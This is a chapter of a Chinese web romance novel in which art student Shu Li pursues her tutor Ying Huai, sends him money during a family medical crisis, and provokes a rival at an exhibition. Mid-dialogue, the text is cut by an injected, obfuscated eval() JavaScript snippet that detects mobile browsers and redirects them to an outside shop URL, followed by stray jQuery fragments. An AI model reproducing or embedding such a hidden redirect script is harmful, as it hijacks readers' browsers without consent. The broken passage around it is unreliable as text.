12. 第 12 章

作品:《小作精

    舒里在小区遛狗的时候碰到陈屹朗在搬家,那天他试的沙发被买了回来,工人从厢式货车上把黑色的沙发往下搬,陈屹朗站在旁边开门。


    舒里一把扯住咖啡豆的牵引绳往反方向走。


    咖啡豆挣扎了一会儿倔强地不听指挥,舒里只好抱着她走。


    幸好陈屹朗没住到她隔壁,两个人隔着一条林荫道,舒里这次走得快,没被陈屹朗发现。


    咖啡豆磨磨唧唧地在陌生的区域很勉强地进行了排便。


    一人一狗最近关系紧张,咖啡豆对舒里的话大部分都表示抵抗,不想减肥的意愿很明显。


    舒里很容易心软,怕自己忍不住给咖啡豆加餐,又续了一期狗狗学校。


    晚上她还有最后一节和应淮的课,周一就考试了。


    舒里决定这堂课好好勾引一下应淮。


    她在衣柜里精心挑选了一条连衣裙,这次在外面裹上了长款羽绒服,依旧没有穿厚重土气的保暖丝袜。


    大概是教资考试将近,大家都来图书馆考前冲刺,应淮这次没有预约到空的自习室。舒里马上积极地提出她来找地方,然后把地点定到了一家有包厢的咖啡馆。


    可能是上午满课,舒里没事干,心里一直在模拟幻想着下午要说什么、做什么,魂不守舍的,听不进去课,连手机也不好玩了。


    她先到了咖啡厅的包厢,在里面等了一会儿,应淮背着书包走进来,舒里一眼就看到了自己亲自让sale挑选的包,眼睛一下子亮了起来:“你背啦?!”


    应淮嗯了一声,坐到她对面,从包里掏出资料。


    舒里起身和他挤在同一边:“最后一节课了,上完你能不能答应我一个要求?”


    “不能。”应淮低头看到她单薄的连衣裙和裸露出来的小腿,幸好房间里的空调暖气开得很足,否则她恐怕又要冻得发抖。


    舒里察觉到他的视线,把手搭在他的胳膊上撒娇:“很简单的,你陪我去看电影好不好?”


    应淮皱眉:“现在室外温度是1度,你最好还是注意这段时间的保暖,以免再次感冒影响考试。”


    舒里觉得应淮未免太过不解风情,收回手,坐得离他远了点:“房间里开了空调,又不冷。”


    应淮把最后一部分的重点知识点递给舒里:“我先给你简单地串讲一遍,然后开始背诵,最后我会带着你整体梳理一遍整本书的知识点。”


    “周一补考是9点开始,那天我早上没课,我可以带着你到旁边找个空教室再考前突击。”


    舒里对此没有异议,她巴不得多一点相处时间,不然还得绞尽脑汁想怎么再接近他。


    过了会儿她又绕回刚才那个话题:“那我把这些背下来你能不能答应陪我去看电影?”


    她捏着纸张:“我今天肯定会好好背的”


    应淮看着不依不饶的舒里,想到了给宋志豪补课的时候,那个小孩不停歇地作弄和暴躁地咆哮,相对比之下舒里这些伎俩笨拙得几乎算得上可爱了。


    “可以。”


    舒里的喜色刚上眉梢,就被应淮一击击落。


    “就当作陪玩,报酬就是这只包和杯子了。”应淮补充。


    她撇了撇嘴,不满地扯了扯他的包:“什么嘛。”


    这次扯得动作很轻,即使这只包很结实。


    上完课,舒里懒洋洋地靠在沙发上挑选电影,她不喜欢看爱情片,爱情片里大多是有钱女和贫穷男,或者贫穷女和有钱男,她都不喜欢,她想要有钱女和有钱男,但这在爱情片里似乎算不上爱情。


    “你喜欢看什么?”舒里把手机递给应淮。


    应淮很少看电影:“都可以。”


    “那我们看动画片吧,好像有部狗狗视角的电影。”舒里往下翻。


    应淮的手机响了,他看了一眼来电人,立马接起来。


    是医院打过来的,应玉文突发并发症,应淮脸色一下子阴沉了下来,猛地站起来穿外套:“下午我有事,不去了。”


    舒里隐隐约约听到了他电话那边的声音,听到了ICU、抢救的字眼,她也跟着站起来:“我送你去医院吧。”


    应淮干脆利落地拒绝道:“不用。”


    说完他把东西一股脑塞进书包里转身就出了门。


    舒里从窗户看到应淮跑了出去。


    她心思动了动,有些恍然大悟,原来应淮有家人进医院了,进了ICU应该很严重,所以他才过得那么窘迫。


    舒里趴在窗户上,应淮已经消失在了不远处的地铁站口。


    她思索片刻,低头拿出手机,给应淮把剩下的三千块钱转了过去。


    应玉文到底还是抢救了回来。


    应淮坐在医院走廊里,捂着脸深吸一口气,拿起手机查看剩余的钱,这才发现舒里给他转了三千块钱,是补课。


    应淮点了收款,舒里立马发来消息:怎么样了?


    应淮没有回复,他给房产中介发了消息,愿意以低价出售,只要尽快付钱。


    手机里还有几条未读短信,有一个“陈总”的号码,让他再考虑考虑,他可以再提高价格买他的游戏。


    他看着短信微微出神,然后收到了又一条舒里发来的信息,是转账。


    舒里给他转了一万,备注“如果着急的话先借你,要还的。”


    第二天转账未接收的信息提醒跳出来,她和应淮的对话框又被置顶到第一位。


    舒里上下滑动手机,体谅他现在可能在医院,没再给他发消息,但是他们分明约好了早上会过来给她做考前突击,应淮没来也没有和她说明。


    舒里把手机上交后,支着下巴坐在考场上,手里夹着黑色签字笔,有些出神地看着窗外。


    方也坐在她侧后方,低着头拼命地记着知识点。


    考试很顺利,所有的大题舒里都按点分条地答满了。


    考完后她心情很好,给应淮发消息:我肯定能过。


    一周之后,舒里收到了补考成绩,出乎意料地高,她很高兴地发给舒岳西,舒岳西隔了很久才回复,又给她转了钱。


    舒里打电话过去问他们什么时候回家,她要开始准备去巴厘岛的衣服,舒岳西又往后推迟说:“暂时还没法回来。”


    舒里骂了一句骗子,直接挂断电话,把刚才巴厘岛机票的搜索记录全都删了。


    她就知道去不成。


    应淮连续一周没回她的消息,但是因为之前舒里高调的做派,陈闵还是知道了她和应淮走得很近的事。


    舒里感觉陈闵好几次和自己对视,目光都很冷,她很高兴,哼着歌瞪回去。


    写生课,舒里坐在那里随意地速写,陈闵把画架搬到她旁边。


    舒里知道她想说什么,但是假装不知道,在那里装模作样地挥动铅笔排线。


    陈闵看了一会儿说:“你为什么学画画。”


    舒里回头反问她:“你为什么学?喜欢?”


    陈闵没有否认。


    舒里哼了一声:“我学习成绩很一般,我爸妈为了让我能考个好大学逼我报的美术。”


    陈闵轻笑一声,舒里知道她在嘲笑自己,但是很不以为意:“你有什么事?”


    陈闵很直接:“你和应淮在一起了?”


    舒里没有承认也没有否认:“这和你没关系吧?”


    陈闵观察她的表情:“他看不上你。”


    舒里有些生气了:“你说错了,他看不上的是你才对吧,他和你说没有恋爱的打算是假的,其实只是没有和你恋爱的打算罢了。”


    陈闵听到这话愣住了,她和应淮表白的时候没有第三个人在场,应淮也不是那种会随意八卦的人,她猛地皱眉:“你怎么知道?”


    舒里看她吃瘪的样子很得意:“当然是应淮告诉我的呀,他什么都和我说。”


    舒里说着拿起手机,屏保是她偷拍的一张应淮的照片,可以看出来拍摄距离很近,很亲密的样子。


    陈闵攥紧手,脸色极差地离开了。


    能让陈闵生气舒里就高兴,她觉得很有面子。


    她觉得自己的目的已经达成了,但是不知道为什么还是想要联系应淮。


    也许这还不够,等到她把自己和应淮甜蜜亲手的合照放到朋友圈,让其他人都看着,知道拒绝陈闵的人现在被她轻易得到了,那一定更加令人愉悦。


    舒里说服自己,于是第二天直接要到了计算机的课表,在上课前堂而皇之地走进教室,坐到了应淮旁边。


    应淮和管辉鹏、高见声坐在最后一排,他戴着有线耳机,几个人电脑屏幕上显示出同一款游戏的画面。


    舒里拍了拍管辉鹏,冲他眨眨眼睛,然后和管辉鹏交换了位置。


    应淮察觉到身旁的动静,但是没有转头去看:“测试结果出来了吗?”


    舒里凑过去把头磕在他的肩膀上,在他耳边说话:“你在做游戏?”


    应淮猛地转头,柔软的嘴唇擦过她的面颊,两个人都愣了一下。


    舒里下意识往后坐,她听见自己的心跳很剧烈。


    她还没有和人接过吻,舒里捂住嘴巴离应淮远了点。


    应淮又看向后面坐了很远的管辉鹏,管辉鹏冲他暧昧地笑。


    高见声也挪了位置,正在专心做测试。


    最后一排就剩下他们两个人。


    舒里小声指责他:“你为什么不回我消息。”


    “我为什么要回?”应淮退出测试界面,“每天都有陌生人给我发消息,难道我每条都要回吗?”


    舒里很愤怒:“我是陌生人吗?”


    应淮说:“是。”


    他说完看了一眼舒里,见她很受伤的样子,最后还是软和了语气解释:“我这段时间很忙,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992565|193784||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没空回消息。”


    舒里不依不饶:“为什么有陌生人给你发消息,是个人加你你都会同意?”


    应淮冷冷看她一眼,舒里就要去拿他手机,被他摁住:“别得寸进尺。”


    舒里小心思被他看穿,缩回了手,她转移话题:“你家里人怎么样,病好点了吗?”


    应淮不回答,专业课老师进来,上课铃声打响:“还不走?”


    舒里摇头,应淮也就不管她,继续刚才没完成的事。


    舒里走之前加了管辉鹏的联系方式,方便她询问应淮的行踪,管辉鹏和她说他们最近在忙着做一个独立游戏,所以确实很忙。


    舒里对游戏不感兴趣,也就没有多问,她邀请应淮周末去参加美院的非遗作品展。


    那是上学期寒假的实践作品展,舒里做了个很大的鱼灯,特点是大,称不上很好看。


    展览专门设计了门票,舒里把其中一张塞进应淮的书包里:“你周末一定要来,逛个展最快也就10分钟,我带你看我做的鱼灯,不会耽误你工作的。”


    说完她也不给应淮拒绝的机会,像条鱼飞快地溜走了。


    应淮周六早上从书包的夹层里翻出这张门票,管辉鹏问他:“你去不去?余晓玥也给了我一张,我们可以一起。”


    应淮想起舒里转给他的那一万块钱,嗯了一声。


    舒里站在门口翘首以盼,看到应淮的身影后一下子冲了出去,揽住他的胳膊:“我好怕你不过来。”


    应淮把手抽出来:“刚好路过,我一会儿就走。”


    舒里有些失落地哦了一声,但是她想到等会儿要做的事又激动起来。


    管辉鹏站在后面和她挥手打招呼,舒里只是点了点头,视线又开始围绕着应淮转了。


    展厅正门进来最明显的位置上放着的是陈闵画的江山美人图,这是陈闵首次公开展出,她一拿出来就得到了老师同学的极力夸赞,用的是敦煌画技,画中间的美人似男似女,极美,如果仔细些看,能看出有应淮五官的轮廓。


    但是舒里没有仔细看,她对于自己讨厌的事物退避三舍。


    舒里拉着应淮走了侧门,直接避开陈闵的作品,直达角落里自己做的鱼灯。


    巨大的鱼灯被吊在半空中,鱼身整体由金红两色交织而成,整体乏善可陈,细节不够精致,也没什么创新点,称不上是优秀作品,毕竟是舒里ddl赶制出来的。


    舒里站在鱼灯面前展开手:“怎么样?”


    应淮仔细地观察鱼灯的整体框架和绘画细节,里面是竹编的主体骨架结构,表面糊上的灯笼纸也是后期上色手绘而成。


    舒里看他这么认真,怕他出言讥讽,给自己找补:“不过我就是随便做的,肯定没其他人的那么好。”


    应淮没有看其他人的,他收回目光:“挺好看的,这个做起来应该不容易。”


    舒里之前被指导老师评价过创新不足,制作粗糙,所以早已不在乎,她本来也就是想要糊弄着交作业罢了,现在被应淮这样正面评价,反而一下子有点不自在,心中不知怎的泛起些酸涩。


    这个鱼灯虽然平平无奇,但毕竟是她花费了5天,一点点跟着师傅磨竹条做成的,那个时候手上还被竹片和钢丝不知道扎了多少次。


    舒里小声说:“算你有品位,做这个也没那么难。”


    她举手机:“我给你拍张照。”


    应淮回头,还没来得及有反应,舒里摁下快门,她没看照片拍得怎么样就放下手机,因为陈闵走进来了。


    舒里眼睛亮了起来,她凑到应淮面前,伸手装模作样地整理他的头发:“你头发太乱了。”实际上眼睛一直往后面瞟,在看到陈闵愤恨的神色后心情舒畅极了。


    “够了吗?”


    舒里一愣,没明白过来。


    应淮突然握住她的手腕,把她猛地拉到自己怀里,低头看着她,两个人一下子贴得极近,舒里呆在那里,瞪大了眼睛看着应淮。


    应淮的眼睛颜色很黑,带着天然的冷漠,现在又多了些嘲讽,他低下头,鼻尖几乎碰到她的鼻尖:“还是要这样?”


    舒里终于反应过来,猛地推开他,惊慌道:“你干什么?”


    应淮说:“你不是就想让别人看到误会吗?现在满意了?”


    舒里已经完全慌了,她完全忘记了去在意陈闵在哪里,有没有听到应淮说的话,或者看到他们刚才几乎亲到一起的画面。


    她只是不知所措地看着应淮。


    “满意的话,我就走了。”应淮说完冷下脸转身离开。


    舒里不知道怎么办,但是下意识上前抓住他的胳膊,撒谎道:“我没有,我不是这个意思,你头上有虫子我摘掉怎么了?”


    应淮冷笑一声,看她满口谎言的样子,这次真的用上力气甩开她的手,不再给她重新抓上来的机会,转身走了。